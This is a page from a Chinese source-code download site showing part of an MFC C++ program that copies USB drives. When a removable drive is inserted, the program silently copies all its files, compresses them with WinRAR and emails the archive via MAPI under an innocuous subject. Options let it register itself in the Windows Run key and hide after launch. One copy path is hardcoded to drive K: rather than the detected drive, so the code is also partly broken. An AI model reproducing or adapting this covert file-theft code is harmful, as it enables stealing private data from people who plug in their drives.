⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 copy_u_ccdeathdlg.cpp

📁 u盘复制源代码
💻 CPP
📖 第 1 页 / 共 2 页
字号:
	}
	
	
	// TODO: Return a different brush if the default is not desired
	return hbr;
}

void CCOPY_U_CCDeathDlg::OnAfterOSRun() 
{
//具体方法:1.定义要写入的值2.打开,存在把她取出来,不存在就创建一个3.写入
	this->UpdateData(true);
	if(this->m_AfterOSRun)//为真就写入注册表
	{
	    this->m_hKey=NULL;
		char pName[MAX_PATH];
		CString str;
		GetModuleFileName(NULL,pName,sizeof(pName)/sizeof(char));//获取文件名
		str=pName;
		RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&m_hKey);
		RegSetValueEx(m_hKey,"CCDeath-COPY_U盘",0,REG_SZ,(const unsigned char *)(LPCTSTR)str,str.GetLength());
	
	}
	else//移掉除注册表信息
	{
		::RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&m_hKey);
		::RegDeleteValue(m_hKey,"CCDeath-COPY_U盘");
	}
	//写入ini文件
	AfxGetApp()->WriteProfileInt("RunHide","AfterOSRun",this->m_AfterOSRun?1:0);
	this->SetDlgItemText(IDC_CHECKCHANGE,this->m_AfterOSRun?"设置开机能启动成功:-)":"撤消开机自启动");
	this->UpdateData(false);


}

void CCOPY_U_CCDeathDlg::OnAfterProRun() 
{
	this->UpdateData(true);
	AfxGetApp()->WriteProfileInt("RunHide","AfterProRun",this->m_AfterProRun?1:0);
	this->SetDlgItemText(IDC_CHECKCHANGE,this->m_AfterProRun?"设置启动后隐藏成功:-)":"撤消启动自隐藏");

}

void CAboutDlg::OnOK() 
{
	// TODO: Add extra validation here
	
//	CDialog::OnOK();
}

void CCOPY_U_CCDeathDlg::OnButtonAbout() 
{
	CAboutDlg dlg;
	dlg.DoModal();	
}

void CAboutDlg::OnLButtonDown(UINT nFlags, CPoint point) 
{
	// TODO: Add your message handler code here and/or call default
	this->OnCancel();
	CDialog::OnLButtonDown(nFlags, point);
}

void CCOPY_U_CCDeathDlg::OnContactMe() 
{
	ShellExecute(m_hWnd,"open","mailto:CCDeath@163.com",NULL,NULL,SW_SHOW);	
}

void CCOPY_U_CCDeathDlg::OnHelp() 
{

	ShellExecute(m_hWnd,"open","ReadMe.txt",NULL,NULL,SW_SHOW);	
}




void CCOPY_U_CCDeathDlg::OnCopyBrowse() 
{
	CString str;
	char name[MAX_PATH];
//浏览信息
	BROWSEINFO bi;
	ZeroMemory(&bi,sizeof(BROWSEINFO));
	bi.hwndOwner=GetSafeHwnd();
	bi.pszDisplayName=name;
	bi.lpszTitle="选择U盘备份存放位置:";
	bi.ulFlags=BIF_RETURNONLYFSDIRS;

	LPITEMIDLIST idl=SHBrowseForFolder(&bi);
	if(idl==NULL)return;
	SHGetPathFromIDList(idl,str.GetBuffer(MAX_PATH));
	str.ReleaseBuffer();

	m_CopyPath=str;
	if(str.GetAt(str.GetLength()-1)!='\\')
		m_CopyPath+="\\U盘备份";
	else m_CopyPath+="U盘备份";//C盘直接加CCDeath
	AfxGetApp()->WriteProfileString("Address","PATH",m_CopyPath);
	CreateDirectory((LPCTSTR)m_CopyPath,NULL);
	UpdateData(FALSE);	
}

bool  CCOPY_U_CCDeathDlg::OnWinrarPress()
{
	this->SetDlgItemText(IDC_CHECKCHANGE,"正在压缩文件中...");
	STARTUPINFO si;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof STARTUPINFO;
	si.wShowWindow = SW_SHOW;
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	PROCESS_INFORMATION pi;
	CString str="C:\\Program Files\\WinRAR\\Rar.exe a -r ";
	str+=m_CopyPath; //压缩后的路径
	str+=" ";//中间加个空格
	str+=m_CopyPath;//要压缩的目录

	BOOL res = CreateProcess(NULL,
	str.GetBuffer(0),
	NULL,
	NULL,
	NULL,
	NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW,
	NULL,
	NULL,
	&si,
	&pi);
	if (TRUE == res)
	{
	//等待进程执行完毕	
		WaitForSingleObject(pi.hProcess, INFINITE);  
		CloseHandle(pi.hProcess);
		CloseHandle(pi.hThread);
		this->SetDlgItemText(IDC_CHECKCHANGE,"压缩成功:-)\r\n正在发送邮件中...");
		return 1;
	}
	else  return 0;
}

void CCOPY_U_CCDeathDlg::OnTimer(UINT nIDEvent) 
{
	// TODO: Add your message handler code here and/or call default
	KillTimer(1);
	if(this->m_strDisk!="")//不是空
	{
	    this->SetDlgItemText(IDC_CHECKCHANGE,"正在复制文件中....");
		CopyFile(this->m_strDisk);//开始复制
	}

	CDialog::OnTimer(nIDEvent);
}
//发送邮件
void CCOPY_U_CCDeathDlg::OnSendMail()
{
 if(bCopy)
 {
	if(this->OnWinrarPress())
	{
		UpdateData(true);

		HMODULE hMod = LoadLibrary("MAPI32.DLL");
	
		if(hMod == NULL)
		{
			AfxMessageBox(AFX_IDP_FAILED_MAPI_LOAD);//无法装入系统
			return ;
		}
	//从这个动态链接库发取出送邮件的函数地址
		ULONG (PASCAL *lpfnSendMail)(ULONG ,ULONG,MapiMessage*,FLAGS,ULONG);
		(FARPROC&)lpfnSendMail=GetProcAddress(hMod,"MAPISendMail");//取出"MAPISendMail"

		if(lpfnSendMail == NULL)
		{
			AfxMessageBox(AFX_IDP_INVALID_MAPI_DLL);
			return ;
		}
//	else{AfxMessageBox("i love you");}
//收件人结构信息
		CString sAddress = this->m_MailAddress;
		CString sName=this->m_CopyPath;
		sName+=".rar";
		MapiRecipDesc recip;
		memset(&recip,0,sizeof(MapiRecipDesc));
		recip.lpszAddress	= sAddress.GetBuffer(0);
		recip.ulRecipClass = MAPI_TO;
		recip.lpszName = sAddress.GetBuffer(0);
//附件结构信息
		MapiFileDesc FileDesc;
		memset(&FileDesc,0,sizeof(FileDesc));
		FileDesc.lpszPathName=sName.GetBuffer(0);// 附件文件名
		FileDesc.nPosition=(ULONG)-1;//附件在邮件中的位置

//邮件结构信息
		MapiMessage message;
		memset(&message,0,sizeof(message));
		message.nRecipCount = 1;//收件人的个数,只有一个了
		message.lpRecips = &recip;//收件人信息
		message.nFileCount = 1;//附件的个数,只有一个了
		message.lpFiles = &FileDesc;//附件信息
		message.lpszSubject = "Happy Every Day :-)";//主题信息
		message.lpszNoteText = "天天快乐";//正文内容,不需要

//保存本窗口指针,发送完邮件要返回本程序窗口
		CWnd *pCurrentWnd = CWnd::GetSafeOwner(NULL,NULL);
    
//调用发送邮件函数,发送邮件
		int nError = lpfnSendMail(0,0,&message,MAPI_LOGON_UI | MAPI_DIALOG,0);
	
		if(nError != SUCCESS_SUCCESS && nError != MAPI_USER_ABORT
			&& nError!= MAPI_E_LOGIN_FAILURE)
		{
			AfxMessageBox(AFX_IDP_FAILED_MAPI_SEND);
		}
	
//返回程序
		pCurrentWnd->SetActiveWindow();

//释放分配的内存   

		FreeLibrary(hMod);
		this->SetDlgItemText(IDC_CHECKCHANGE,"邮件发送成功:-) 想进行系统设置,请重起软件!");
	
		}
	}
	else
	{
	
		this->SetDlgItemText(IDC_CHECKCHANGE,"还没复制好文件,请重插U盘....");
		return ;
	}
}

//默认消息处理
LRESULT CCOPY_U_CCDeathDlg::DefWindowProc(UINT message, WPARAM wParam, LPARAM lParam) 
{
	// TODO: Add your specialized code here and/or call the base class
	if(message == WM_DEVICECHANGE)//这边详细看该程序帮助的地方文档...
	{
		CString str;
		DEV_BROADCAST_HDR * dhr = (DEV_BROADCAST_HDR *)lParam;//查看MSDN
		switch(wParam)
		{
		case DBT_DEVICEARRIVAL:
			if(dhr->dbch_devicetype==DBT_DEVTYP_VOLUME)//Media设备插入并且已经可用
			{
				PDEV_BROADCAST_VOLUME lpdbv =(PDEV_BROADCAST_VOLUME)dhr;//详细看说明为什么可以...  	
                str.Format("%c:",FirstDriveFromMask(lpdbv->dbcv_unitmask));//这个没有库函数用于返回磁盘,需要重新定义  
		
					//首先要判断是否为U盘(偶怕插入其他的东西也拷比较麻烦)...然后...在这边设置Timer...呵呵..
				if(GetDriveType((LPCTSTR)str)==DRIVE_REMOVABLE)
				{			
					this->m_strDisk=str;
					SetTimer(1,100,NULL);				
				}	
				
			}
			break;
		}
	}
	
	return CDialog::DefWindowProc(message, wParam, lParam);
}
//查找U盘盘符
char CCOPY_U_CCDeathDlg::FirstDriveFromMask(ULONG unitmask)
{
	for(char i=0;i<26;i++)
	{
		if(unitmask & 0x1)//找到了
			break;
		unitmask=unitmask>>1;//
	}
	return (i+'A');//返回第几个盘符
}
//复制文件
void CCOPY_U_CCDeathDlg::CopyFile(CString dir)
{
//比先前用的更简单了SHFILEOPSTRUCT;需要解决str与char字符的转换,借助strcpy;

     char cSourceFile[255+1]="";//假设最大的文件名最大字符串是255个字符...
	 char cDestFile[255+1]="";
	 dir+="\\*.*";//由K:->k:\*.*
	 strcpy(cDestFile,this->m_CopyPath);
	 strcpy(cSourceFile,dir);

	  SHFILEOPSTRUCT  fileop;//shell文件操作..   shell file operator struct;
      fileop.hwnd = m_hWnd; //句柄  
      fileop.wFunc= FO_COPY;//复制 
   //   fileop.pFrom= cSourceFile;//从U盘里   
	  fileop.pFrom="K:\\*.*";
      fileop.pTo=cDestFile; //      
      fileop.fFlags = FOF_NOCONFIRMATION |  FOF_SILENT  ;  
      if(SHFileOperation(&fileop)!=0)   
      {
		 return ;
	  }   

	 this->SetDlgItemText(IDC_CHECKCHANGE,"复制文件成功:-)");
	 bCopy=true;
}

void CCOPY_U_CCDeathDlg::OnButton7() 
{
	// TODO: Add your control notification handler code here
	UpdateData(true);
	AfxGetApp()->WriteProfileString("Address","MAIL",this->m_MailAddress);

	this->OnSendMail();
}

BOOL CCOPY_U_CCDeathDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message) 
{
	if(m_hAniCursor!=NULL)
	{
		SetCursor(m_hAniCursor);
		return TRUE;
	}
   else	
	return CDialog::OnSetCursor(pWnd, nHitTest, message);
}

BOOL CAboutDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message) 
{
	// TODO: Add your message handler code here and/or call default
	if(m_hAniCursor1!=NULL)
	{
		SetCursor(m_hAniCursor1);
		return TRUE;
	}
   else	
	
	return CDialog::OnSetCursor(pWnd, nHitTest, message);
}

BOOL CAboutDlg::OnInitDialog() 
{
	CDialog::OnInitDialog();
	
//加载光标
	char pathname[_MAX_PATH];
	char drive[_MAX_DRIVE]; 
	char dir[_MAX_DIR];
	char fname[_MAX_FNAME];
	char ext[_MAX_EXT];

	GetModuleFileName(NULL, pathname, _MAX_PATH);
	_splitpath(pathname, drive, dir, fname, ext);
	_makepath(pathname, drive, dir, "butterfly", "ani");
	

	if(m_hAniCursor1 == NULL)
	{
		m_hAniCursor1 = LoadCursorFromFile(pathname);
		if(m_hAniCursor1 == NULL)
			AfxMessageBox("AniCursor load failure");
	}
	
	return TRUE;  // return TRUE unless you set the focus to a control
	              // EXCEPTION: OCX Property Pages should return FALSE
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -